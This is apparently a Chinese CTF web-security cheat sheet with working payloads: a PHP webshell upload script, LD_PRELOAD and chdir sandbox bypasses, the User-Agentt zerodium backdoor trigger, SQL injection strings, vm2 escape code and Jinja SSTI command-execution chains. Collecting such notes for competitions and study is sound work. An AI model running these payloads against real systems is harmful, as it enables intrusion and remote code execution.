一、无数字字母shell
利用到的PHP特性:
1、代码中没有引号的字符都自动作为字符串
PHP的经典特性“Use of undefined constant”,会将代码中没有引号的字符都自动作为字符串,7.2开始提出要被废弃,不过目前还存在着。可以理解为
$_GET['cmd'] = $_GET[cmd]
,目前PHP8版本尚未测试是否能用
2、使Ascii码大于Ox7F的字符都会被当作字符串
3、PHP在获取HTTP GET参数的时候默认是获得到了字符串类型
4、PHP中的的大括号(花括号}使用详解
在字符串的变量的后面跟上{}大括号或者中括号[],里面填写了数字,这里是把字符串变量当成数组处理,可以理解为
${_GET}{cmd} = $_GET['cmd'] = $_GET[cmd]
5、字符串可以用!操作符来进行布尔类型的转换
<?php
var_dump(@a); //string(1) "a"
var_dump(!@a); //bool(false)
var_dump(!!@a); //bool(true)
6、PHP弱类型特性
PHP由于弱类型这个特性,true的值为1,所以true+ture=2
7、自增性
在受到限制的时候,可以通过自增获得自己想要的字符
'a'++ => 'b','b'++ => 'c'
二、文件上传
1、利用.htaccess上传文件
- 当
<?
被过滤时,用伪协议绕过,上传时上传base64编码过的文件
AddType application/x-httpd-php .xxx
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.xxx"
意思是将后缀.xxx的文件当作php文件进行执行。
三、绕过open_basedir/disable_function的几种方法
- 参考链接:
无需sendmail:巧用LD_PRELOAD突破disable_functions
disable_function绕过--利用LD_PRELOAD
bypass_disablefunc_via_LD_PRELOAD
1、chdir绕过
<?php
mkdir('xxx');
chdir('xxx');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
echo(file_get_contents('flag'));
?>
2、链接文件绕过
PHP5版本可用
3、disable_function绕过--利用LD_PRELOAD
条件:PHP 支持putenv()和下面用到的函数
<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
//error_log("err",1,"","");
//$img = Imagick("1.mp4");//如果有ImageMagick这个扩展(文件必须存在)
//imap_mail("","","");//需要安装imap拓展
//mb_send_mail("","","");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
?>
四、常见RCE
1、北京时间2021.3.29,git.php.net服务器遭到黑客攻陷,php源码被黑客植入后门。
改包头:
payload:User-Agentt: zerodiumsystem('cat /flag');
2、本地文件包含RCE
php7 segment fault特性
php://filter/string.strip_tags=/etc/passwd
php执行过程中出现 Segment Fault,这样如果在此同时上传文件,那么临时文件就会被保存在/tmp目录,不会被删除
payload:(例题:[NPUCTF2020]ezinclude)
import requests
from io import BytesIO
payload = "<?php eval($_POST[cmd])?>;"
file_data={
'file': BytesIO(payload.encode())
}
url="http://588b9bf7-3c49-41b6-93e3-823b74ef67bf.node3.buuoj.cn/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
try:
r=requests.post(url=url,files=file_data,allow_redirects=False)
except:
print(False)
五、SQL注入
1、md5绕过
查询语句:SELECT * FROM users WHERE password ='".md5($password,true)."' limit 0,1
payload:password=12958192621165157191246674165187868 或 password=ffifdyop
2、regexp注入
用于逐字符注出:(NCTF2019—SQLi)
payload:name(表名或字段名) regexp '^[a-zA-Z0-9]'(这里需要爆破字符)
3、用于闭合引号的注释符
#
--+
--
;%00
/**/
`
4、mysql中点引号( ' )和反勾号( ` )的区别
linux下不区分,windows下区分
区别:
单引号( ' )或双引号主要用于字符串的引用符号
eg:mysql> SELECT 'hello', "hello" ;
反勾号( ` )主要用于数据库、表、索引、列和别名用的引用符是[Esc下面的键]
eg:`mysql>SELECT * FROM `table` WHERE `from` = 'abc' ;
5、堆叠注入
(1)改数据表
运用:(2021虎符WEB—“慢慢做”管理系统)
paylaod:';use ctf2;rename table `fake_admin` to `test`;rename table `real_admin_here_do_you_find` to `fake_admin`;
(2)预处理语句
关于MySQL中的预处理语句原理与使用,这篇文章讲解的比较详细:MySQL的SQL预处理(Prepared)。本题中由于可以使用堆叠查询,并且需要使用SELECT关键字并绕过过滤,因此想到利用字符串转换与拼接构造语句最后执行,这时就可以使用预处理语句。
预处理语句使用方式:
PREPARE sqla from '[my sql sequece]'; //预定义SQL语句
EXECUTE sqla; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla; //删除预定义SQL语句
预定义语句也可以通过变量进行传递,比如:
SET @tn = 'hahaha'; //存储表名
SET @sql = concat('select * from ', @tn); //存储SQL语句
PREPARE sqla from @sql; //预定义SQL语句
EXECUTE sqla; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla; //删除预定义SQL语句
运用:(Web-随便注)
paylaod:';SET @sql=concat(char(115,101,108,101,99,116)," * from `table_name`");PREPARE sqla from @sql;EXECUTE sqla;#
六、nodejs
1、绕过关键字过滤(prototype、process等)
(1)拼接绕过
f.constructor("return process")();
等价于
f[[c,o,n,s,t,r,u,c,t,o,r]join]([r,e,t,u,r,n,,p,r,o,c,e,s,s]join)();
(2)结合数组调用绕过
`${`${`prototyp`}e`}` == prototype
2、vm2沙盒逃逸([HFCTF2020]JustEscape)
方法一:
"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
TypeError.prototype.get_process = f=>f.constructor("return process")();
try{
Object.preventExtensions(Buffer.from("")).a = 1;
}catch(e){
return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
}+')()';
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}
方法二:
"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
try{
Buffer.from(new Proxy({}, {
getOwnPropertyDescriptor(){
throw f=>f.constructor("return process")();
}
}));
}catch(e){
return e(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
}+')()';
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}
七、SSTI
PYTHON
1、各种payload
命令执行
<class 'warnings.catch_warnings'>
''.__class__.__mro__[1].__subclasses__()[135].__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")
<class 'subprocess.Popen'>
{{''.__class__.__mro__[1].__subclasses__()[437]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}
<class '_frozen_importlib._ModuleLock'>
#eval
''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")
''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__.__builtins__.eval("__import__('os').popen('whoami').read()")
#__import__
''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__.__builtins__.__import__('os').popen('whoami').read()
''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()
其他利用方法(os.system执行成功的返回值为0)
#万金油,必会
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#<class '_frozen_importlib_external.FileFinder'>
().__class__.__bases__[0].__subclasses__()[93].__init__.__globals__["sys"].modules["os"].system("ls")
#<class 'codecs.StreamReaderWriter'>
''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__["sys"].modules["os"].system("ls")
#<class 'os._wrap_close'>
[].__class__.__base__.__subclasses__()[127].__init__.__globals__['system']('ls')
().__class__.__bases__[0].__subclasses__()[-4].__init__.__globals__['system']('ls')
<class 'traceback.FrameSummary'>
{{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].popen('whoami').read()}}
文件读取
<class '_frozen_importlib._ModuleLock'>
{{''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['open']('test.txt').read()}}
<class 'click.utils.LazyFile'>
{{ ''.__class__.__mro__[1].__subclasses__()[341]('test.txt').read()}}
<class 'warnings.catch_warnings'>
{{''.__class__.__mro__[1].__subclasses__()[135].__init__.__globals__['__builtins__'].open('test.txt','r').read()}}
<class 'codecs.IncrementalEncoder'>
{{{}.__class__.__mro__[1].__subclasses__()[103].__init__.__globals__['open']('test.txt').read()}}
2、部分过滤绕过
函数名被过滤——用+
号拼接,例如:'po'+'pen' = 'popen'
关键字符被过滤——使用编码绕过
连接的.
被过滤——用|attr
进行拼接,例如:attr("x5fx5fclassx5fx5f")|attr("x5Fx5Fbasesx5Fx5F") = __class__.__bases__
包裹的{{ }}
被过滤——用{% %}
绕过
RUBY
payload
<%= 7 * 7 %>
例题:[SCTF2019]Flag Shop
八、反序列化
PHP
魔术方法
__get
当对象调用不可访问属性时,就会自动触发get魔法方法。
__call
在对象调用不可访问函数时,就会自动触发call魔法方法。
__construct
当对象被创建的时候调用。
__destruct
当对象被销毁的时候调用。
__toString
当对象被当作一个字符串使用时候调用(不仅仅是echo的时候,比如file_exists()判断也会触发)。
__sleep
序列化对象之前就调用此方法(其返回需要是一个数组)。
__wakeup
反序列化恢复对象之前就调用此方法。
__call
当调用对象中不存在的方法会自动调用此方法。
- SoapClient
这个也算是目前被挖掘出来最好用的一个内置类,php5、7都存在此类,可以利用SoapClient中的__call方法进行SSRF。
原文地址:https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html#_label1_0
字符逃逸
function safe($parm)
{
$array = array('union', 'regexp', 'load', 'into', 'flag', 'file', 'insert', "'", '\', "*", "alter");
return str_replace($array, 'hacker', $parm);
}
问题就出在这里,该函数对字符串进行了一些替换,但是替换前后字符串长度可能发生变化,比如将union替换为hacker增加了一个字符,于是我们可以利用这个漏洞将我们的序列化字符串逃逸出来。如果不这样做,payload就会当作一个普通字符串,而不是序列化里的内容。
杂项
哈希长度拓展攻击
payload:(例题:[NPUCTF2020]ezinclude)
import os
import requests
for i in range(1,12):
data=os.popen('hashpump -s fa25e54758d5d5c1927781a6ede89f8a -d admin -k '+str(i)+' -a admin').read()
name=data.split('
')[0]
password=data.split('
')[1].replace('\x','%')
result=requests.get('http://c1952ab8-b389-4d44-b2b5-07020d9d4886.node3.buuoj.cn/?name='+password+'&pass='+name).text
print(result)
PHP根据随机数预测种子
php_mt_rand 工具只能用于爆破mt_rand()函数产生的随机数的种子值, 无论是否显式调用mt_srand()函数播种,但不能用于mt_rand(1,1000)这种指定范围的和rand函数的爆破
例题:[MRCTF2020]Ezaudit